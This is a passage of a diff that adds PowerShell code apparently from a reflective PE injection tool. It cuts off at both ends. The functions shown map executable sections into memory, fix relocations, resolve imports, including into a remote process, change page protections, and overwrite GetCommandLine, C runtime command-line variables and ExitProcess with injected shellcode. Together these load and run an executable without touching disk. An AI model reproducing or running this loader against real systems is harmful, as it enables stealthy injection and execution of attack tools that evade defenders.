$true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = 